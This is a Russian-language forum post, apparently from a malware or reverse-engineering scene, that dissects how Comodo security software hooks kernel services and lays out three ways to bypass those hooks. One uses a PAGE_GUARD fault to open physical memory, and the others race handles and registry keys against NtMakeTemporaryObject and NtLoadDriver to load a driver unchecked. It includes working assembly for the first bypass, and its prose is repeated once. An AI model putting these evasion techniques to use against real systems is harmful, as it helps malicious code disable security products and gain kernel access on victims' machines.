Здрасти.
Вчера спрашивали про комодо, после поверхностного осмотра подопытного можно дать заключение.
Авторы знали про возможность рк атаки на сервисы, но не знали что она разных типов бывает. Хэндлеры используют KeEnterCriticalRegion() для запрещения доставки саспенд апк. Рассмотрим некоторые сервисы, чтобы принцип атаки был понятен.
1. Инвалидация буфера. Классический тест на открытие физикл мемори. Модель процедуры следующая:
QueryName() - процедура, определяющая имя секции. Она защищена сех. Если вызов этой процедуры завершится с ошибкой, то будет вызван оригинальный сервис. Это нам и нужно. Вот непосредственно структура этой процедуры:
Нужно какимто образом сгенерировать исключение, либо использовать аллокацию из другого потока. Есть механизм сторожевых страниц - страница помечается атрибутом PAGE_GUARD, при обращении к ней генерится #AV и атрибут снимается, после чего следующее обращение успешно выполниться.
Устанавливаем на страницу с именем секции либо со структурой OBJECT_ATTRIBUTES этот атрибут. После этого в QueryName() возникнет фолт при обращении к этой странице. QueryName() возвратит FALSE, после чего будет вызван оригинальный сервис. Простейший пример:
Секция успешно открывается.
2. Создание обьекта. Передаём в сервис инвалидный описатель(хэндл) обьекта, при этом открываем обьект из другого треда. Операция должна быть выполнена синхронно с небольшой задержкой. Референс на обьекте возвратит STATUS_INVALID_HANDLE:
В это время второй тред открывает обьект и описатель становится валидным. Оригинальный сервис будет вызван с валидным описателем.
3. Аналогично п.2, но передаётся не описатель обьекта, а его имя. Сервис NtLoadDriver():
QueryImagePath() читает из ключа реестра имя модуля:
Если ключа нет, то вызывается оригинальный сервис. В это время второй тред создаёт ключ. Что приводит к загрузке дрова. Ключи должны формироваться вручную, а не менеджером сервисов(SCM).
Используя этот принцип можно выполнить и на другие сервисы атаку.
Вчера спрашивали про комодо, после поверхностного осмотра подопытного можно дать заключение.
Авторы знали про возможность рк атаки на сервисы, но не знали что она разных типов бывает. Хэндлеры используют KeEnterCriticalRegion() для запрещения доставки саспенд апк. Рассмотрим некоторые сервисы, чтобы принцип атаки был понятен.
1. Инвалидация буфера. Классический тест на открытие физикл мемори. Модель процедуры следующая:
Код:
xNtOpenSection(ObjectAttributes:POBJECT_ATTRIBUTES):
...
if QueryName(ObjectAttributes) = FALSE
NtOpenSection(ObjectAttributes)
fi
ret
Код:
QueryName(ObjectAttributes:POBJECT_ATTRIBUTES):
Local ObjAttr:OBJECT_ATTRIBUTES
%SEH_PROLOG
MemCopy(@ObjAttr, ObjectAttributes, sizeof(OBJECT_ATTRIBUTES))
...
Result = TRUE
%SEH_EPILOG
ret
SafeSEH:
Result = FALSE
ret
Устанавливаем на страницу с именем секции либо со структурой OBJECT_ATTRIBUTES этот атрибут. После этого в QueryName() возникнет фолт при обращении к этой странице. QueryName() возвратит FALSE, после чего будет вызван оригинальный сервис. Простейший пример:
Код:
Local SectionHandle:HANDLE
Local RegionBase:PVOID, RegionSize:ULONG, OldProtect:ULONG
xor eax,eax
mov RegionBase,offset ObjAttr
mov RegionSize,sizeof ObjAttr
mov ObjAttr.uLength,sizeof(OBJECT_ATTRIBUTES)
mov ObjAttr.hRootDirectory,eax
mov ObjAttr.uAttributes,OBJ_CASE_INSENSITIVE
mov ObjAttr.pSecurityDescriptor,eax
mov ObjAttr.pSecurityQualityOfService,eax
mov ObjAttr.pObjectName,offset SectionNameU
invoke ZwProtectVirtualMemory, NtCurrentProcess, addr RegionBase, addr RegionSize, PAGE_READWRITE or PAGE_GUARD, addr OldProtect
invoke ZwOpenSection, addr SectionHandle, SECTION_MAP_READ, addr ObjAttr
2. Создание обьекта. Передаём в сервис инвалидный описатель(хэндл) обьекта, при этом открываем обьект из другого треда. Операция должна быть выполнена синхронно с небольшой задержкой. Референс на обьекте возвратит STATUS_INVALID_HANDLE:
Код:
xMakeTemporaryObject():
if ObReferenceObjectByHandle() = FALSE
NtMakeTemporaryObject()
ret
fi
...
3. Аналогично п.2, но передаётся не описатель обьекта, а его имя. Сервис NtLoadDriver():
Код:
xLoadDriver():
if QueryImagePath() = FALSE
NtLoadDriver()
fi
ret
Код:
QueryImagePath():
if NtOpenKey() = FALSE
Result = FALSE
ret
fi
...
Result = TRUE
ret
Используя этот принцип можно выполнить и на другие сервисы атаку.